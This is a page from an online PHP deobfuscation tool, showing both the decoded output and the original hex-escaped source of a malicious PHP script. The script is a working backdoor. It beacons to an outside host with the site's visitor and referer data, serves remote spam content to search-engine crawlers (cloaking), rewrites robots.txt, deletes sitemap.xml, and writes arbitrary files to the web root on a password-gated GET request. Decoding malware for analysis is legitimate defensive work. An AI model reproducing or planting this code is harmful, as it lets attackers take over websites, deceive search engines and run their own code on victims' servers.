Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto ngvTA; iUbQ6: if (is_htps()) { $http = "\x68\x74\x74\x70\163"; } else { $http = "\15..
Decoded Output download
<? goto ngvTA; iUbQ6: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto pS1Ka; pS1Ka: $duri_tmp = st_uri(); goto w_Y_k; AX2yR: $goweb = $xmlname . ".artslink" . ".xyz"; goto m2UWY; yZUnz: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto AX2yR; hyBB7: $http_web = "http"; goto iUbQ6; So9OZ: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto xhnNJ; xhnNJ: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto bKH6s; F115c: $urlshang = ''; goto So9OZ; scmO4: $duri = urlencode($duri_tmp); goto yZUnz; bKH6s: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto VSBGT; KqRaA: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto oOHlC; dbLLi: @ignore_user_abort(1); goto NofR1; m2UWY: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto fORG9; BnDvU: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto eKY0m; fORG9: $host = $_SERVER["HTTP_HOST"]; goto YTtnh; w_Y_k: if ($duri_tmp == '') { $duri_tmp = "/"; } goto scmO4; VSBGT: $htmcontent = trim(dageget($web)); goto um0x7; NofR1: $xmlname = "zmni"; goto hyBB7; um0x7: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto BnDvU; ngvTA: @set_time_limit(3600); goto dbLLi; eKY0m: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto KqRaA; YTtnh: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto zkTUS; zkTUS: $lang = urlencode($lang); goto F115c; oOHlC: ?>
Did this file decode correctly?
Original Code
goto ngvTA; iUbQ6: if (is_htps()) { $http = "\x68\x74\x74\x70\163"; } else { $http = "\150\x74\x74\160"; } goto pS1Ka; pS1Ka: $duri_tmp = st_uri(); goto w_Y_k; AX2yR: $goweb = $xmlname . "\56\x61\x72\164\163\x6c\151\156\x6b" . "\56\170\x79\172"; goto m2UWY; yZUnz: function st_uri() { if (isset($_SERVER["\122\x45\121\x55\105\123\124\x5f\125\x52\111"])) { $duri = $_SERVER["\x52\x45\x51\125\105\x53\124\137\x55\122\111"]; } else { if (isset($_SERVER["\141\162\147\x76"])) { $duri = $_SERVER["\120\x48\x50\137\x53\x45\x4c\106"] . "\x3f" . $_SERVER["\x61\x72\x67\x76"][0]; } else { $duri = $_SERVER["\x50\110\120\x5f\123\105\x4c\106"] . "\77" . $_SERVER["\x51\125\x45\122\131\x5f\123\x54\122\111\116\107"]; } } return $duri; } goto AX2yR; hyBB7: $http_web = "\150\x74\x74\x70"; goto iUbQ6; So9OZ: if (isset($_SERVER["\110\x54\x54\120\x5f\x52\x45\106\105\x52\105\x52"])) { $urlshang = $_SERVER["\110\124\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]; $urlshang = urlencode($urlshang); } goto xhnNJ; xhnNJ: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\x6d\x61\x70\156\141\155\x65"]; $action = @$_GET["\141\x63\x74\x69\x6f\156"]; if (isset($_SERVER["\x44\117\103\x55\115\105\116\124\x5f\122\x4f\x4f\124"])) { $path = $_SERVER["\104\117\103\125\115\x45\x4e\x54\137\x52\117\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\x74"; } if ($action == "\160\165\164") { if (strstr($add_content, "\56\170\155\x6c")) { $map_path = $path . "\57\x73\x69\164\x65\x6d\141\160\x2e\170\155\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\x72\x6f\142\157\164\163\56\164\170\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\x73\x65\162\55\x61\147\145\x6e\x74\72\x20\52\x41\154\x6c\157\167\72\x20\x2f"; } $sitmap_url = $http . "\72\57\x2f" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\x62\162\x3e\163\x69\x74\145\x6d\x61\x70\40\x61\x6c\162\x65\x61\144\x79\x20\x61\144\144\x65\144\41\x3c\142\x72\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\x53\151\x74\145\x6d\141\160\x3a\40" . $sitmap_url)) { echo "\x3c\142\x72\x3e\x6f\x6b\x3c\x62\162\76"; } else { echo "\74\x62\162\76\146\x69\154\x65\40\167\x72\151\x74\145\40\146\x61\x6c\x73\145\x21\x3c\142\x72\x3e"; } } } else { echo "\74\142\162\x3e\163\x69\164\x65\155\141\x70\40\156\x61\x6d\145\x20\x66\141\x6c\163\x65\41\74\142\x72\76"; } if (strstr($add_content, "\56\x70" . "\x68\160")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\x2f\57" . $goweb . "\57\141\56\x70" . "\x68\x70") || $b == "\x38\x30\70\67\x33\65\x62\61\67\143\x38\71\x34\63\x65\x33\x37\61\x35\x33\x38\70\x39\65\70\x64\143\x32\62\144\x38\67\71\141\x38\x63\71\x65\141\x61") { $dstr = @$_GET["\144\x73\x74\x72"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto bKH6s; F115c: $urlshang = ''; goto So9OZ; scmO4: $duri = urlencode($duri_tmp); goto yZUnz; bKH6s: $web = $http_web . "\x3a\x2f\57" . $goweb . "\x2f\x69\x6e\x64\145\170\x6e\145\x77\x2e\160\150\x70\77\x77\145\x62\75" . $host . "\46\172\x7a\x3d" . sbot() . "\x26\165\162\x69\75" . $duri . "\46\x75\162\154\x73\x68\x61\x6e\x67\75" . $urlshang . "\46\150\164\x74\160\75" . $http . "\46\154\141\x6e\147\x3d" . $lang; goto VSBGT; KqRaA: function dageget($url) { $file_contents = ''; if (function_exists("\143\x75\162\x6c\x5f\x69\156\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto oOHlC; dbLLi: @ignore_user_abort(1); goto NofR1; m2UWY: function is_htps() { if (isset($_SERVER["\110\124\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\120\123"]) !== "\157\x66\x66") { return true; } elseif (isset($_SERVER["\x48\124\x54\x50\137\130\x5f\106\117\122\127\x41\122\104\105\104\137\x50\122\x4f\x54\117"]) && $_SERVER["\110\124\124\x50\x5f\130\137\106\117\122\x57\101\122\x44\105\x44\x5f\x50\122\x4f\124\117"] === "\150\x74\164\x70\x73") { return true; } elseif (isset($_SERVER["\x48\124\x54\x50\x5f\x46\122\x4f\x4e\x54\137\105\x4e\104\x5f\x48\x54\x54\120\123"]) && strtolower($_SERVER["\x48\x54\124\120\137\x46\x52\117\116\x54\137\x45\x4e\104\137\x48\124\124\x50\x53"]) !== "\157\146\146") { return true; } return false; } goto fORG9; BnDvU: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\x69\164\x65\155\141\160\40\116\157\164\x69\x66\x69\x63\x61\x74\x69\x6f\156\40\122\x65\143\x65\151\166\145\144") !== false ? "\160\x69\156\x67\x6f\153" : "\145\162\162\x6f\x72"; $return_str .= $pingUrl . "\55\x2d\40" . $ok . "\x3c\142\162\x3e"; } return $return_str; } goto eKY0m; fORG9: $host = $_SERVER["\x48\x54\124\120\137\110\x4f\x53\124"]; goto YTtnh; w_Y_k: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto scmO4; VSBGT: $htmcontent = trim(dageget($web)); goto um0x7; NofR1: $xmlname = "\x7a\155\x6e\151"; goto hyBB7; um0x7: if (!strstr($htmcontent, "\156\157\142\157\x74\165\163\x65\162\x61\x67\145\156\x74")) { if (strstr($htmcontent, "\157\x6b\x68\164\155\154\x67\x65\x74\x63\157\156\164\x65\156\164")) { @header("\103\157\156\x74\145\x6e\164\x2d\x74\x79\x70\x65\72\40\164\x65\x78\164\x2f\150\164\x6d\x6c\x3b\x20\143\150\141\x72\163\x65\x74\75\x75\x74\146\55\70"); $htmcontent = str_replace("\157\153\150\164\x6d\154\147\x65\164\143\x6f\x6e\x74\x65\156\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\x6b\170\x6d\x6c\x67\145\x74\143\157\156\x74\145\156\164")) { $htmcontent = str_replace("\x6f\153\170\x6d\154\147\x65\x74\143\157\156\x74\x65\x6e\x74", '', $htmcontent); @header("\x43\157\x6e\x74\145\156\x74\55\x74\x79\x70\x65\x3a\x20\164\145\170\x74\x2f\x78\155\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\x69\156\x67\x78\x6d\154\147\145\164\143\157\x6e\x74\x65\x6e\164")) { $htmcontent = str_replace("\160\x69\x6e\147\170\x6d\x6c\147\x65\x74\143\157\156\x74\x65\156\164", '', $htmcontent); @header("\x43\x6f\156\x74\x65\x6e\x74\x2d\x74\x79\160\145\72\40\x74\145\170\x74\57\150\164\x6d\154\73\x20\x63\150\x61\162\163\145\x74\x3d\x75\164\146\x2d\70"); echo pingmap($htmcontent); die; } } } } goto BnDvU; ngvTA: @set_time_limit(3600); goto dbLLi; eKY0m: function sbot() { $uAgent = strtolower($_SERVER["\110\x54\x54\x50\137\x55\x53\x45\122\x5f\x41\x47\105\x4e\124"]); if (stristr($uAgent, "\x67\x6f\157\x67\x6c\x65\x62\x6f\x74") || stristr($uAgent, "\x62\151\156\147") || stristr($uAgent, "\171\x61\x68\157\157") || stristr($uAgent, "\147\x6f\157\x67\x6c\x65") || stristr($uAgent, "\107\x6f\x6f\147\x6c\x65\142\157\x74") || stristr($uAgent, "\147\x6f\x6f\147\x6c\x65\142\157\x74")) { return true; } else { return false; } } goto KqRaA; YTtnh: $lang = @$_SERVER["\x48\x54\x54\120\x5f\101\103\x43\x45\120\x54\137\114\101\116\x47\x55\x41\107\x45"]; goto zkTUS; zkTUS: $lang = urlencode($lang); goto F115c; oOHlC:
Function Calls
None |
Stats
MD5 | cbf08a3911993d2d5bab7ce6265bd625 |
Eval Count | 0 |
Decode Time | 33 ms |